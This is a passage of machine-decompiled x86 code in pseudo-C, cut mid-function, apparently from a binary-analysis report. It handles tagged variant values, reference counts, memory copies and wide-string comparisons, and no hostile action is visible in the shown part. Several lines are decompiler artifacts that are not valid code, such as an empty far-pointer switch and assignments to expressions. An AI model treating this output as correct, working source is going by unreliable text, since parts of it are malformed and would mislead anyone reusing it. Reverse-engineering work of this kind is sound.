																							_push(_v60);
																							_push(__eax);
																							__eax = E0046E9CD();
																							goto L204;
																					}
																				}
																				L203:
																				_t1126 = _v60;
																				goto L204;
																			}
																		}
																	}
																	_t1137 =  *(_t1753 + 0x2c);
																	_t377 = _t1753 + 0x20; // 0x67
																	_t1419 = _t377;
																	__eflags = _t1137;
																	if(_t1137 != 0) {
																		E004436F6(_t1419, _t1718, _t1784, _t1137);
																		_t1419[3] = 0;
																	}
																	_t1139 = _t1419[2];
																	__eflags = _t1139 - 8;
																	if(_t1139 == 8) {
																		_t1489 =  *_t1419;
																		__eflags = _t1489;
																		if(__eflags == 0) {
																			goto L177;
																		}
																		 *0x48242c(_t1489);
																		E004112EF(_t1419, _t1633, _t1718, _t1753, __eflags,  *_t1419);
																		_t1791 = _t1791 + 4;
																		goto L181;
																	} else {
																		L177:
																		__eflags = _t1139 - 0xa;
																		if(_t1139 == 0xa) {
																			_t1140 =  *_t1419;
																			__eflags = _t1140;
																			if(_t1140 != 0) {
																				E0044478F(_t1419, _t1718, _t1784, _t1140);
																			}
																		} else {
																			__eflags = _t1139 - 5;
																			if(_t1139 == 5) {
																				E0040E380(_t1419, _t1419, _t1753);
																			} else {
																				__eflags = _t1139 - 0xb;
																				if(__eflags == 0) {
																					_t1633 =  *( *_t1419 + 4);
																					E004112EF(_t1419,  *( *_t1419 + 4), _t1718, _t1753, __eflags,  *( *_t1419 + 4));
																					E004112EF(_t1419,  *( *_t1419 + 4), _t1718, _t1753, __eflags,  *_t1419);
																					_t1791 = _t1791 + 8;
																				} else {
																					__eflags = _t1139 - 0xc;
																					if(_t1139 == 0xc) {
																						_t1165 =  *_t1419;
																						__eflags = _t1165;
																						if(_t1165 != 0) {
																							E0044B3B8(_t1419, _t1633, _t1718, _t1784, _t1165);
																						}
																					}
																				}
																			}
																		}
																		L181:
																		_t1419[2] = 1;
																		 *_t1419 = 0;
																		_t1420 =  *(_t1753 + 0xc);
																		__eflags = _t1420;
																		if(_t1420 != 0) {
																			 *( *(_t1420 + 0xc)) =  *( *(_t1420 + 0xc)) - 1;
																			__eflags =  *( *(_t1420 + 0xc));
																			if(__eflags == 0) {
																				_t1633 =  *_t1420;
																				E004112EF(_t1420,  *_t1420, _t1718, _t1753, __eflags,  *_t1420);
																				E004112EF(_t1420,  *_t1420, _t1718, _t1753, __eflags,  *(_t1420 + 0xc));
																				_t1791 = _t1791 + 8;
																			}
																			E004112EF(_t1420, _t1633, _t1718, _t1753, __eflags, _t1420);
																			_t1791 = _t1791 + 4;
																			 *(_t1753 + 0xc) = 0;
																		}
																		_t1141 =  *(_t1753 + 8);
																		__eflags = _t1141 - 8;
																		if(_t1141 == 8) {
																			_t1490 =  *_t1753;
																			__eflags = _t1490;
																			if(__eflags == 0) {
																				goto L185;
																			}
																			 *0x48242c(_t1490);
																			E004112EF(_t1420, _t1633, _t1718, _t1753, __eflags,  *_t1753);
																			_t1791 = _t1791 + 4;
																			goto L189;
																		} else {
																			L185:
																			__eflags = _t1141 - 0xa;
																			if(_t1141 == 0xa) {
																				_t1142 =  *_t1753;
																				__eflags =  *_t1753;
																				if(__eflags != 0) {
																					E0044478F(_t1420, _t1718, _t1784, _t1142);
																				}
																			} else {
																				__eflags = _t1141 - 5;
																				if(_t1141 == 5) {
																					E0040E380(_t1753, _t1420, _t1753);
																				} else {
																					__eflags = _t1141 - 0xb;
																					if(__eflags == 0) {
																						_t1633 =  *_t1753;
																						E004112EF(_t1420,  *_t1753, _t1718, _t1753, __eflags,  *((intOrPtr*)( *_t1753 + 4)));
																						E004112EF(_t1420,  *_t1753, _t1718, _t1753, __eflags,  *_t1753);
																						_t1791 = _t1791 + 8;
																					} else {
																						__eflags = _t1141 - 0xc;
																						if(__eflags == 0) {
																							_t1150 =  *_t1753;
																							__eflags =  *_t1753;
																							if(__eflags != 0) {
																								E0044B3B8(_t1420, _t1633, _t1718, _t1784, _t1150);
																							}
																						}
																					}
																				}
																			}
																			L189:
																			 *(_t1753 + 8) = 1;
																			 *_t1753 = 0;
																			E004112EF(_t1420, _t1633, _t1718, _t1753, __eflags, _t1753);
																			_t1414 = _a4;
																			_t1791 = _t1791 + 4;
																			goto L190;
																		}
																	}
																}
															} else {
																_t1173 = _t1421[3];
																__eflags = _t1173;
																if(_t1173 != 0) {
																	E004436F6(_t1421, _t1717, _t1784, _t1173);
																	_t1421[3] = 0;
																}
																_t1175 = _t1421[2];
																__eflags = _t1175 - 8;
																if(_t1175 == 8) {
																	_t1496 =  *_t1421;
																	__eflags = _t1496;
																	if(__eflags == 0) {
																		goto L159;
																	}
																	 *0x48242c(_t1496);
																	E004112EF(_t1421, _t1635, _t1717, _t1758, __eflags,  *_t1421);
																	_t1791 = _t1791 + 4;
																	goto L163;
																} else {
																	L159:
																	__eflags = _t1175 - 0xa;
																	if(_t1175 == 0xa) {
																		_t1176 =  *_t1421;
																		__eflags = _t1176;
																		if(_t1176 != 0) {
																			E0044478F(_t1421, _t1717, _t1784, _t1176);
																		}
																	} else {
																		__eflags = _t1175 - 5;
																		if(_t1175 == 5) {
																			E0040E380(_t1421, _t1421, _t1758);
																		} else {
																			__eflags = _t1175 - 0xb;
																			if(__eflags == 0) {
																				E004112EF(_t1421,  *((intOrPtr*)( *_t1421 + 4)), _t1717, _t1758, __eflags,  *((intOrPtr*)( *_t1421 + 4)));
																				E004112EF(_t1421,  *((intOrPtr*)( *_t1421 + 4)), _t1717, _t1758, __eflags,  *_t1421);
																				_t1791 = _t1791 + 8;
																			} else {
																				__eflags = _t1175 - 0xc;
																				if(_t1175 == 0xc) {
																					_t1187 =  *_t1421;
																					__eflags = _t1187;
																					if(_t1187 != 0) {
																						E0044B3B8(_t1421, _t1635, _t1717, _t1784, _t1187);
																					}
																				}
																			}
																		}
																	}
																	L163:
																	_t1421[2] = 1;
																	 *_t1421 = 0;
																	_t1177 = _t1758[2];
																	_t1421[2] = _t1177;
																	__eflags = _t1177 - 4;
																	if(__eflags != 0) {
																		_t1178 = _t1177 - 1;
																		__eflags = _t1178 - 0xb;
																		if(__eflags > 0) {
																			goto L167;
																		}
																		switch( *((intOrPtr*)(_t1178 * 4 +  &M0042E62D))) {
																			case 0:
																				__ecx =  *__esi;
																				 *__ebx = __ecx;
																				goto L167;
																			case 1:
																				 *_t1421 =  *_t1758;
																				_t1421[1] = _t1758[1];
																				goto L167;
																			case 2:
																				__fp0 =  *__esi;
																				 *__ebx =  *__esi;
																				goto L167;
																			case 3:
																				goto L164;
																			case 4:
																				_push(0x214);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__esp = __esp + 4;
																				__eflags = __eax;
																				if(__eax == 0) {
																					__eax = 0;
																					__eflags = 0;
																				} else {
																					__esi =  *__esi;
																					__ecx = 0x85;
																					__edi = __eax;
																					__eax = memcpy(__eax, __esi, 0x85 << 2);
																					__esi + __ecx = __esi + __ecx + __ecx;
																					__ecx = 0;
																				}
																				 *__ebx = __eax;
																				__eflags =  *(__eax + 4);
																				if( *(__eax + 4) != 0) {
																					__eax =  *(__eax + 4);
																					 *__eax =  *__eax + 1;
																					__eflags =  *__eax;
																				}
																				goto L501;
																			case 5:
																				__edx =  *__esi;
																				 *__ebx = __edx;
																				goto L167;
																			case 6:
																				__eflags =  *__esi;
																				if(__eflags == 0) {
																					L501:
																					__edi = _a4;
																					goto L167;
																				}
																				_push(0x10);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__esp = __esp + 4;
																				_push(__eax);
																				 *__ebx = __eax;
																				 *0x482434() =  *__esi;
																				__ecx =  *__ebx;
																				_push( *__esi);
																				_push(__ecx);
																				__eax =  *0x482430();
																				__eflags = __eax;
																				if(__eflags < 0) {
																					__edx =  *__ebx;
																					_push(__edx);
																					 *0x48242c() =  *__ebx;
																					__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags,  *__ebx);
																					 *__ebx = 0;
																				}
																				goto L167;
																			case 7:
																				 *__ebx =  *__esi;
																				goto L167;
																			case 8:
																				_push(0x18);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__esp = __esp + 4;
																				__eflags = __eax;
																				if(__eax == 0) {
																					goto L508;
																				}
																				__edx =  *__esi;
																				__eax = E0044B8A7(__eax,  *__esi);
																				 *__ebx = __eax;
																				goto L167;
																			case 9:
																				_push(8);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				 *__ebx = __eax;
																				__ecx =  *__esi;
																				__edx =  *( *__esi);
																				 *__eax =  *( *__esi);
																				__eax =  *__ebx;
																				__eax =  *( *__ebx);
																				__esp = __esp + 4;
																				__eflags = __eax;
																				if(__eflags == 0) {
																					_push(1);
																					__eax = E0041171A(__ebx, __edi, __eflags);
																					__ecx =  *__ebx;
																					 *(__ecx + 4) = __eax;
																					__edx =  *__ebx;
																					__eax =  *(__edx + 4);
																					__esp = __esp + 4;
																					 *__eax = 0;
																				} else {
																					_push(__eax);
																					__eax = E0041171A(__ebx, __edi, __eflags);
																					__ecx =  *__ebx;
																					 *( *__ebx + 4) = __eax;
																					__ebx =  *__ebx;
																					__edx =  *__ebx;
																					__eax =  *__esi;
																					__ecx =  *( *__esi + 4);
																					__esp = __esp + 4;
																					__edx = __ebx[1];
																					__eax = E00410F70(__ebx, __edi, __esi, __ebx[1],  *( *__esi + 4),  *__ebx);
																				}
																				goto L167;
																			case 0xa:
																				_push(0x14);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__esp = __esp + 4;
																				__eflags = __eax;
																				if(__eax == 0) {
																					L508:
																					__eax = 0;
																					 *__ebx = 0;
																					goto L167;
																				}
																				__ecx =  *__esi;
																				_push( *__esi);
																				_push(__eax);
																				__eax = E0046E9CD();
																				 *__ebx = __eax;
																				goto L167;
																		}
																	}
																	L164:
																	_push(0x10);
																	_t1180 = E0041171A(_t1421, _t1717, __eflags);
																	_t1791 = _t1791 + 4;
																	__eflags = _t1180;
																	if(_t1180 == 0) {
																		_t1180 = 0;
																	} else {
																		_t1497 = _t1758[3];
																		 *_t1180 =  *_t1497;
																		 *((intOrPtr*)(_t1180 + 4)) =  *((intOrPtr*)(_t1497 + 4));
																		 *((intOrPtr*)(_t1180 + 8)) =  *((intOrPtr*)(_t1497 + 8));
																		_t1498 =  *(_t1497 + 0xc);
																		 *(_t1180 + 0xc) = _t1498;
																		 *_t1498 =  *_t1498 + 1;
																		__eflags =  *_t1498;
																	}
																	_t1421[3] = _t1180;
																	goto L167;
																}
															}
														}
													}
												} else {
													_v100 = _t1619;
													goto L70;
													L71:
													_t1644 = _v100;
													__eflags = _v100 - _v136;
													if(_v100 > _v136) {
														_t683 =  &_v36; // 0x485234
														_t1410 = _t683;
														E0040D1E0(_t683, _t1644);
														_t1504 = _v132;
														_t1645 =  *(_v132 + 4);
														_v96 = 0;
														_t1760 =  *((intOrPtr*)( *(_v132 + 4) + 8 + _t1759 * 4));
														_t1195 =  *(_t1760 + 8) & 0x0000ffff;
														__eflags = _t1195 - 0x4a;
														if(_t1195 == 0x4a) {
															L384:
															_push(_t1760);
															E00402CC0(_t1504,  &_v36);
															_t1504 =  *((intOrPtr*)(_v136 + 4));
															_t1645 = _v216;
															_push( *((intOrPtr*)( *((intOrPtr*)(_v136 + 4)) + 0xc + _v216 * 4)));
															L385:
															E00402CC0(_t1504,  &_v40);
															_t1761 =  &_v28;
															E00402B00(_t1645, 0x7f, _t1761, _t1833);
															_push(_t1761);
															_t1727 =  &_v44;
															E00402CC0(_t1504,  &_v44);
															L0040AB50(_a4, _t1833,  &_v44,  &_v108,  &_v208, 0xffffffff);
															_v180 = _v240 + _v240 + _v240 + _v240;
															E004019E0(1, _v236 | 0x00000200,  &_v224,  *((intOrPtr*)( *((intOrPtr*)(_v240 + _v240 + _v240 + _v240 +  *((intOrPtr*)(_v160 + 4)))))));
															L140:
															_t1209 =  *((intOrPtr*)(_v144 + 4));
															_t1651 =  *((intOrPtr*)(_v164 + _t1209 + 4));
															__eflags =  *((short*)(_t1651 + 8)) - 0x41;
															if( *((short*)(_t1651 + 8)) == 0x41) {
																_t1619 =  *(_t1209 + 8 + _v224 * 4);
																_t1210 =  *(_t1619 + 8) & 0x0000ffff;
																__eflags = _t1210 - 0x4a;
																if(_t1210 == 0x4a) {
																	L465:
																	_v224 = _v224 + 5;
																	goto L142;
																}
																__eflags = _t1210 - 0x49;
																if(_t1210 == 0x49) {
																	goto L465;
																}
																_v224 = _v224 + 4;
																goto L142;
															} else {
																_t278 =  &_v224;
																 *_t278 = _v224 + 2;
																__eflags =  *_t278;
																L142:
																_t1211 = _v24;
																_v212 = _v212 + 1;
																__eflags = _t1211 - 0x30;
																if(_t1211 >= 0x30) {
																	__eflags = _t1211 - 0x3f;
																	if(_t1211 <= 0x3f) {
																		_t1218 = _v32;
																		__eflags = _t1218;
																		if(_t1218 != 0) {
																			E004436F6(_t1410, _t1727, _t1784, _t1218);
																		}
																	}
																}
																__eflags = _v40;
																_v48 = 0x485234;
																if(__eflags > 0) {
																	_t1764 = 0;
																	__eflags = 0;
																	do {
																		_t1213 =  *(_v44 + _t1764 * 4);
																		__eflags = _t1213;
																		if(_t1213 != 0) {
																			E0044C7F2(_t1213);
																		}
																		_t1764 = _t1764 + 1;
																		__eflags = _t1764 - _v40;
																	} while (__eflags < 0);
																	goto L144;
																} else {
																	L144:
																	_v40 = 0;
																	E004112EF(_t1410, _t1619, _t1727, _t1764, __eflags, _v44);
																	_t1216 = _v112 + 1;
																	_t1791 = _t1791 + 4;
																	__eflags = _t1216 - _v124;
																	_v112 = _t1216;
																	if(_t1216 <= _v124) {
																		L70:
																		_t1503 =  *(_v132 + 4);
																		_t1759 = _v212;
																		_t1410 = 0;
																		_v12 = _t1619 | 0xffffffff;
																		_v36 = 0x485234;
																		_v32 = 0;
																		_v28 = 0;
																		_v24 = 0;
																		_v96 = 0;
																		_t1720 =  *(_t1503 + _t1759 * 4);
																		_t1643 = _t1503 + _t1759 * 4;
																		_t1193 = 0;
																		_v10 = 0;
																		_v208 = 0;
																		__eflags =  *(_t1720 + 8);
																		if( *(_t1720 + 8) == 0) {
																			do {
																				goto L373;
																				L377:
																				_t1723 =  *_t1643;
																				__eflags =  *((intOrPtr*)(_t1723 + 8)) - _t1410;
																			} while ( *((intOrPtr*)(_t1723 + 8)) == _t1410);
																			_v212 = _t1759;
																		}
																		goto L71;
																	} else {
																		_t1410 = _v148;
																		goto L146;
																	}
																}
															}
														}
														__eflags = _t1195 - 0x49;
														if(_t1195 == 0x49) {
															goto L384;
														}
														_push(_t1760);
														goto L385;
													}
													_t1728 = _v124;
													_t1652 = _v200;
													_t1220 = _t1193 | 0x00000200;
													__eflags =  *((char*)( *((intOrPtr*)(_t1728 + _t1652 * 4))));
													if( *((char*)( *((intOrPtr*)(_t1728 + _t1652 * 4)))) != 0) {
														_t1712 = _v176;
														_t1619 =  *(_v176 + _t1652 * 4);
														_t1223 = E0045EE98( *( *(_t1503 + _t1759 * 4)), E004355FD(_t1619), _t1220, 1);
														__eflags = _t1223;
														if(_t1223 == 0) {
															_t1512 =  *((intOrPtr*)( *(_v132 + 4) + _t1759 * 4));
															_t1616 =  *((short*)(_t1512 + 0xa));
															_push( *((short*)(_t1512 + 0xa)));
															_push(0x79);
															_push(_a4);
															E0045E62E(_t1833);
															E0044B453(_t1410,  *((short*)(_t1512 + 0xa)), _t1712, _t1759, _t1784,  &_v32);
															_t814 =  &_v52; // 0x485234
															E0040ED60(_t814,  *((short*)(_t1512 + 0xa)));
															goto L632;
														}
														_t1764 = _t1759 + 2;
														_v212 = _t1759 + 2;
														goto L142;
													}
													_t1655 =  *(_v176 + _v200 * 4);
													_t1764 = _t1220;
													_t1231 = _v212 + _v212 + _v212 + _v212;
													_v152 = _t1231;
													_t1727 =  *( *(_t1231 + _t1503));
													__eflags =  *0x4a7cdc - _t1410; // 0x0
													if(__eflags == 0) {
														_t1233 = _t1727;
														_t1727 = 0x4a7ccc;
														E00404260(_t1233, _t1503, _t1655, 0x4a7ccc, _t1764, __eflags, _t1655, _t1764);
														goto L140;
													}
													__eflags =  *0x4a7ce5;
													_v204 = _t1655;
													if( *0x4a7ce5 != 0) {
														_t1515 =  *0x4a7ce0; // 0x0
														_t1422 =  *(_t1515 + 8);
													} else {
														_t1422 =  *0x4a7ce0; // 0x0
													}
													_t1235 = 0;
													_v208 = _t1422;
													__eflags =  *_t1422;
													if(__eflags == 0) {
														L94:
														_push(0x20);
														_v160 = _t1764 & 0x0000ff00;
														_t1236 = E0041171A(_t1422, _t1727, __eflags);
														_t1808 = _t1791 + 4;
														__eflags = _t1236;
														if(__eflags == 0) {
															_t1410 = 0;
														} else {
															_t1769 = _t1236;
															 *(_t1769 + 8) = 8;
															_t1655 = 0x10 >> 0x20;
															 *(_t1769 + 4) = 0;
															_push( ~(0 | __eflags > 0x00000000) | 0x10);
															_t1282 = E0041171A(_t1422, _t1727, __eflags);
															 *_t1769 = _t1282;
															_push(4);
															 *_t1282 = 0;
															_t1283 = E0041171A(_t1422, _t1727, __eflags);
															_t1808 = _t1808 + 8;
															__eflags = _t1283;
															if(_t1283 == 0) {
																_t1283 = 0;
															} else {
																 *_t1283 = 1;
															}
															 *(_t1769 + 0xc) = _t1283;
															_t1410 = _t1769;
														}
														__eflags = _t1410 - _t1727;
														if(__eflags != 0) {
															_t1269 =  *(_t1410 + 0xc);
															__eflags =  *_t1269 - 1;
															if(__eflags > 0) {
																 *_t1269 =  *_t1269 - 1;
																 *(_t1410 + 4) = _t1727[1];
																 *(_t1410 + 8) = _t1727[2];
																 *_t1410 =  *_t1727;
																_t1727 = _t1727[3];
																 *(_t1410 + 0xc) = _t1727;
																 *_t1727 =  *_t1727 + 1;
															} else {
																_t1768 = _t1727[1];
																_t222 = _t1768 + 1; // 0x1
																_t1271 = _t222;
																 *(_t1410 + 4) = _t1768;
																__eflags =  *(_t1410 + 8) - _t1271;
																if( *(_t1410 + 8) < _t1271) {
																	 *(_t1410 + 8) = E00446547(_t1271);
																	_t1273 =  *_t1410;
																	__eflags =  *_t1410;
																	if(__eflags != 0) {
																		E004112EF(_t1410, _t1655, _t1727, _t1768, __eflags, _t1273);
																		_t1808 = _t1808 + 4;
																	}
																	_push( ~(0 | __eflags > 0x00000000) |  *(_t1410 + 8) * 0x00000002);
																	_t1276 = E0041171A(_t1410, _t1727, __eflags);
																	_t1808 = _t1808 + 4;
																	 *_t1410 = _t1276;
																	 *((short*)(_t1276 + _t1768 * 2)) = 0;
																}
																E00410F70(_t1410, _t1727, _t1768,  *_t1410,  *_t1727,  *(_t1410 + 4) +  *(_t1410 + 4) + 2);
																_t1808 = _t1808 + 0xc;
															}
														}
														_push(0x10);
														 *((intOrPtr*)(_t1410 + 0x10)) = _v160;
														_t1238 = E0041171A(_t1410, _t1727, __eflags);
														_t1516 = 0;
														_t1791 = _t1808 + 4;
														__eflags = _t1238;
														if(_t1238 == 0) {
															L109:
															_t1239 = _v208;
															_t1727 = 0;
															 *((intOrPtr*)(_t1410 + 0x14)) = _t1516;
															 *(_t1410 + 0x1c) = 0;
															 *(_t1410 + 0x18) = 0;
															_t1764 =  *_t1239;
															__eflags = _t1764;
															if(_t1764 == 0) {
																 *(_t1410 + 0x1c) = 0;
																 *(_t1410 + 0x18) = 0;
																L139:
																 *_t1239 = _t1410;
																goto L140;
															}
															__eflags =  *0x4a937c & 0x00000001;
															if(__eflags == 0) {
																 *0x4a937c =  *0x4a937c | 0x00000001;
																E0044B3F6(0x4a935c);
																E00411421(__eflags, E00429283);
																_t1791 = _t1791 + 4;
															}
															 *0x4a9378 = _t1727;
															 *0x4a9374 = _t1727;
															_v108 = 0x4a935c;
															_v144 = 0x4a935c;
															while(1) {
																_t1243 =  *(_t1410 + 4);
																_t1656 =  *((intOrPtr*)(_t1764 + 4));
																__eflags = _t1243 - _t1727;
																if(_t1243 == _t1727) {
																	goto L437;
																}
																L113:
																__eflags = _t1656 - _t1727;
																if(_t1656 == _t1727) {
																	L438:
																	__eflags = _t1243 - _t1727;
																	if(_t1243 != _t1727) {
																		L124:
																		_t256 = _t1764 + 0x1c; // 0x1c
																		_t1257 = _t256;
																		_v204 = _t1257;
																		_t1258 =  *_t1257;
																		__eflags = _t1258 - _t1727;
																		if(_t1258 != _t1727) {
																			_v160 = _t1258;
																			_t1259 = E00443711(_t1258, _t1410);
																			_t1791 = _t1791 + 8;
																			__eflags = _t1259;
																			if(_t1259 == 0) {
																				L452:
																				 *(_v144 + 0x1c) = _t1764;
																				_v144 = _t1764;
																				_t1764 =  *_v204;
																				while(1) {
																					_t1243 =  *(_t1410 + 4);
																					_t1656 =  *((intOrPtr*)(_t1764 + 4));
																					__eflags = _t1243 - _t1727;
																					if(_t1243 == _t1727) {
																						goto L437;
																					}
																					goto L113;
																				}
																			}
																			_t1261 = _v160;
																			 *_v204 =  *(_t1261 + 0x18);
																			 *(_t1261 + 0x18) = _t1764;
																			_t1764 = _t1261;
																			__eflags =  *(_t1261 + 0x1c) - _t1727;
																			if( *(_t1261 + 0x1c) == _t1727) {
																				goto L125;
																			}
																			_t1262 = _t1261 + 0x1c;
																			__eflags = _t1262;
																			_v204 = _t1262;
																			goto L452;
																		}
																		L125:
																		 *(_v144 + 0x1c) =  *(_t1764 + 0x18);
																		 *(_v108 + 0x18) =  *(_t1764 + 0x1c);
																		_t1247 =  *0x4a9378; // 0x0
																		_t1659 =  *((intOrPtr*)(_t1764 + 4));
																		 *(_t1764 + 0x18) = _t1247;
																		_t1518 =  *0x4a9374; // 0x2f01ae8
																		 *(_t1764 + 0x1c) = _t1518;
																		_t1248 =  *(_t1410 + 4);
																		__eflags = _t1248 - _t1727;
																		if(_t1248 == _t1727) {
																			__eflags = _t1659 - _t1727;
																			if(_t1659 != _t1727) {
																				L460:
																				 *(_t1410 + 0x18) =  *(_t1764 + 0x18);
																				 *(_t1410 + 0x1c) = _t1764;
																				 *(_t1764 + 0x18) = _t1727;
																				L138:
																				_t1239 = _v208;
																				goto L139;
																			}
																			L454:
																			__eflags = _t1248 - _t1727;
																			if(_t1248 != _t1727) {
																				L137:
																				_t1519 =  *0x4a9374; // 0x2f01ae8
																				 *(_t1410 + 0x1c) = _t1519;
																				 *(_t1410 + 0x18) = _t1764;
																				 *(_t1764 + 0x1c) = _t1727;
																				goto L138;
																			}
																			L127:
																			__eflags = _t1248 - _t1659;
																			if(_t1248 < _t1659) {
																				_t1251 = E0040C0E0( *_t1410,  *_t1764, _t1659);
																				L135:
																				__eflags = _t1251 - _t1727;
																				if(__eflags < 0) {
																					goto L460;
																				}
																				if(__eflags <= 0) {
																					_t1410 = _t1764;
																					goto L138;
																				}
																				goto L137;
																			}
																			__eflags = _t1248 - _t1727;
																			if(_t1248 <= _t1727) {
																				L457:
																				_t1251 = 0;
																			} else {
																				_t1521 =  *_t1764;
																				_t1660 = _t1248;
																				_t1252 =  *_t1410;
																				while(1) {
																					__eflags =  *_t1252 -  *_t1521;
																					if( *_t1252 !=  *_t1521) {
																						__eflags =  *_t1252 -  *_t1521;
																						if( *_t1252 <  *_t1521) {
																							_t1251 = _t1252 | 0xffffffff;
																							_t1727 = 0;
																						} else {
																							_t1251 = 1;
																							_t1727 = 0;
																							__eflags = 0;
																						}
																						goto L135;
																					}
																					_t1252 = _t1252 + 2;
																					_t1521 = _t1521 + 2;
																					_t1660 = _t1660 - 1;
																					__eflags = _t1660;
																					if(_t1660 != 0) {
																						continue;
																					} else {
																						_t1727 = 0;
																						__eflags = 0;
																						goto L457;
																					}
																				}
																			}
																			goto L135;
																		}
																		__eflags = _t1659 - _t1727;
																		if(_t1659 == _t1727) {
																			goto L454;
																		}
																		goto L127;
																	}
																}
																__eflags = _t1243 - _t1656;
																if(_t1243 < _t1656) {
																	_t1264 = E0040C0E0( *_t1410,  *_t1764, _t1656);
																	L122:
																	__eflags = _t1264 - _t1727;
																	if(__eflags < 0) {
																		L444:
																		_t762 = _t1764 + 0x18; // 0x18
																		_t1244 = _t762;
																		_v204 = _t1244;
																		_t1245 =  *_t1244;
																		__eflags = _t1245 - _t1727;
																		if(_t1245 == _t1727) {
																			goto L125;
																		}
																		_v160 = _t1245;
																		_t1253 = E00443711(_t1410, _t1245);
																		_t1791 = _t1791 + 8;
																		__eflags = _t1253;
																		if(_t1253 == 0) {
																			L448:
																			 *(_v108 + 0x18) = _t1764;
																			_v108 = _t1764;
																			_t1764 =  *_v204;
																			_t1243 =  *(_t1410 + 4);
																			_t1656 =  *((intOrPtr*)(_t1764 + 4));
																			__eflags = _t1243 - _t1727;
																			if(_t1243 == _t1727) {
																				goto L437;
																			}
																			goto L113;
																		}
																		_t1255 = _v160;
																		 *_v204 =  *(_t1255 + 0x1c);
																		 *(_t1255 + 0x1c) = _t1764;
																		_t1764 = _t1255;
																		__eflags =  *(_t1255 + 0x18) - _t1727;
																		if( *(_t1255 + 0x18) == _t1727) {
																			goto L125;
																		}
																		_t1256 = _t1255 + 0x18;
																		__eflags = _t1256;
																		_v204 = _t1256;
																		goto L448;
																	}
																	if(__eflags <= 0) {
																		goto L125;
																	}
																	goto L124;
																}
																__eflags = _t1243 - _t1727;
																if(_t1243 <= _t1727) {
																	L441:
																	_t1264 = 0;
																} else {
																	_t1527 =  *_t1764;
																	_t1664 = _t1243;
																	_t1265 =  *_t1410;
																	while(1) {
																		__eflags =  *_t1265 -  *_t1527;
																		if( *_t1265 !=  *_t1527) {
																			__eflags =  *_t1265 -  *_t1527;
																			if( *_t1265 <  *_t1527) {
																				_t1264 = _t1265 | 0xffffffff;
																				_t1727 = 0;
																			} else {
																				_t1264 = 1;
																				_t1727 = 0;
																				__eflags = 0;
																			}
																			goto L122;
																		}
																		_t1265 = _t1265 + 2;
																		_t1527 = _t1527 + 2;
																		_t1664 = _t1664 - 1;
																		__eflags = _t1664;
																		if(_t1664 != 0) {
																			continue;
																		} else {
																			_t1727 = 0;
																			__eflags = 0;
																			goto L441;
																		}
																	}
																}
																goto L122;
																L437:
																__eflags = _t1656 - _t1727;
																if(_t1656 != _t1727) {
																	goto L444;
																}
																goto L438;
															}
														} else {
															_t1732 = _v204;
															_t1767 = _t1238;
															_t1266 =  *((intOrPtr*)(_t1732 + 8));
															 *((intOrPtr*)(_t1767 + 8)) = _t1266;
															_t1267 = _t1266 - 1;
															_v144 = _t1767;
															 *(_t1767 + 0xc) = 0;
															__eflags = _t1267 - 0xb;
															if(__eflags > 0) {
																L108:
																_t1516 = _v144;
																goto L109;
															}
															switch( *((intOrPtr*)(_t1267 * 4 +  &M0040AB18))) {
																case 0:
																	__eax =  *__edi;
																	goto L267;
																case 1:
																	__eax =  *__edi;
																	 *__esi = __eax;
																	__ecx =  *(__edi + 4);
																	 *(__esi + 4) = __ecx;
																	goto L108;
																case 2:
																	__fp0 =  *__edi;
																	_pop(es);
																	 *__esi = __fp0;
																	goto L108;
																case 3:
																	_push(0x10);
																	_t1268 = E0041171A(_t1410, _t1732, __eflags);
																	_t1791 = _t1791 + 4;
																	__eflags = _t1268;
																	if(_t1268 == 0) {
																		_t1268 = 0;
																	} else {
																		_t1528 =  *(_t1732 + 0xc);
																		 *_t1268 =  *_t1528;
																		 *((intOrPtr*)(_t1268 + 4)) =  *((intOrPtr*)(_t1528 + 4));
																		 *((intOrPtr*)(_t1268 + 8)) =  *((intOrPtr*)(_t1528 + 8));
																		_t1529 =  *(_t1528 + 0xc);
																		 *(_t1268 + 0xc) = _t1529;
																		 *_t1529 =  *_t1529 + 1;
																		__eflags =  *_t1529;
																	}
																	 *(_t1767 + 0xc) = _t1268;
																	goto L108;
																case 4:
																	_push(0x214);
																	__eax = E0041171A(__ebx, __edi, __eflags);
																	__esp = __esp + 4;
																	__eflags = __eax;
																	if(__eax == 0) {
																		__eax = 0;
																		__eflags = 0;
																	} else {
																		__edx = _v204;
																		__esi =  *__edx;
																		__ecx = 0x85;
																		__edi = __eax;
																		__eax = memcpy(__eax, __esi, 0x85 << 2);
																		__edi = __esi + __ecx;
																		__edi = __esi + __ecx + __ecx;
																		__ecx = 0;
																	}
																	__ecx = _v144;
																	 *__ecx = __eax;
																	__eflags =  *(__eax + 4);
																	if( *(__eax + 4) != 0) {
																		__eax =  *(__eax + 4);
																		 *__eax =  *__eax + 1;
																	}
																	goto L108;
																case 5:
																	__edx =  *__edi;
																	 *__esi = __edx;
																	goto L108;
																case 6:
																	__eflags =  *__edi;
																	if (__eflags == 0) goto L108;
																	asm("adc ecx, ecx");
																	asm("std");
																	switch([far dword [edx+0x10]) {
																	}
																case 7:
																	__al =  *__edi;
																	 *__esi = __al;
																	goto L108;
																case 8:
																	_push(0x18);
																	__eax = E0041171A(__ebx, __edi, __eflags);
																	__esp = __esp + 4;
																	__eflags = __eax;
																	if(__eax == 0) {
																		goto L435;
																	}
																	__ecx =  *__edi;
																	__eax = E0044B8A7(__eax,  *__edi);
																	goto L267;
																case 9:
																	_push(8);
																	__eax = E0041171A(__ebx, __edi, __eflags);
																	 *__esi = __eax;
																	__edx =  *__edi;
																	__ecx =  *( *__edi);
																	 *__eax =  *( *__edi);
																	__edx =  *__esi;
																	__eax =  *( *__esi);
																	__esp = __esp + 4;
																	__eflags = __eax;
																	if(__eflags == 0) {
																		_push(1);
																		__eax = E0041171A(__ebx, __edi, __eflags);
																		__ecx =  *__esi;
																		 *(__ecx + 4) = __eax;
																		__edx =  *__esi;
																		__eax =  *(__edx + 4);
																		__esp = __esp + 4;
																		 *__eax = 0;
																	} else {
																		_push(__eax);
																		__eax = E0041171A(__ebx, __edi, __eflags);
																		__ecx =  *__esi;
																		 *( *__esi + 4) = __eax;
																		__esi =  *__esi;
																		__edx =  *__esi;
																		__eax =  *__edi;
																		__ecx =  *( *__edi + 4);
																		__esp = __esp + 4;
																		__edx =  *(__esi + 4);
